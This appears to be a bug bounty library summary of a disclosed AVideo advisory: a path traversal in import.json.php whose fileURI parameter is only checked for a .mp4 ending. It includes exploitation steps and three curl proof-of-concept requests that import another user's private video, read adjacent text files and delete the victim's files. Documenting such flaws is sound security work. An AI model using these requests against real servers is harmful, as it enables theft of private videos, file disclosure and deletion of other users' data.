# AVideo has a Path Traversal in import.json.php Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter

AVideo's import.json.php only regex-checks fileURI ends in .mp4, letting any uploader import others' private videos, read adjacent .txt/.html files, and delete files.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-20
- CVE: CVE-2026-33493
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-83xq-8jxj-4rxm
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-83xq-8jxj-4rxm
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:access-control vuln:info-disclosure vuln:path-traversal

**Target:** objects/import.json.php endpoint (fileURI POST parameter)
**Root cause:** import.json.php validates only that fileURI ends in .mp4 via regex, with no realpath()/directory-prefix restriction to videos/, unlike the hardened listFiles.json.php.
**Steps:**
1. Authenticate with a session having upload permission.
2. POST to `/objects/import.json.php` with `fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4` to import the victim's private video into the attacker's account.
3. Add `&length=100` to the same request so adjacent `.txt`/`.html`/`.htm` files are read via file_get_contents and stored as the new video's description; view the video page to read them.
4. Add `&delete=true` to delete the source `.mp4` and adjacent text files if writable by the web server.
**How found:** Reporter compared import.json.php against the previously hardened listFiles.json.php, which had received a realpath()+prefix check, and noticed the same fix was never applied to import.json.php.
**Exploitation:** Any authenticated user with upload permission (default for registered users) submits a fileURI pointing at another user's video directory; the endpoint copies the .mp4 into a temp dir and imports it as the attacker's video, reads adjacent description files into the new video's description, and optionally unlinks the source files.
**Insight:** When a project patches one endpoint for path traversal, grep sibling endpoints in the same directory for the same user-controlled path parameter — incomplete fixes across parallel handlers are common.

## Proof of concept (copied exactly from the original report)

**curl import private victim video**

```
curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4'

**Expected result:** The response returns `{"error":false, "videos_id": <new_id>, ...}`. The victim's private `.mp4` is now imported as the attacker's own video at the returned `videos_id`.
```

**curl read adjacent description file**

```
curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&length=100'

**Expected result:** If `victim_video_abc123.txt` (or `.html`/`.htm`) exists alongside the `.mp4`, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.
```

**curl delete victim video files**

```
curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&delete=true'

**Expected result:** The victim's `.mp4` file and any adjacent `.txt`/`.html`/`.htm` files are deleted (if writable by the web server process).
```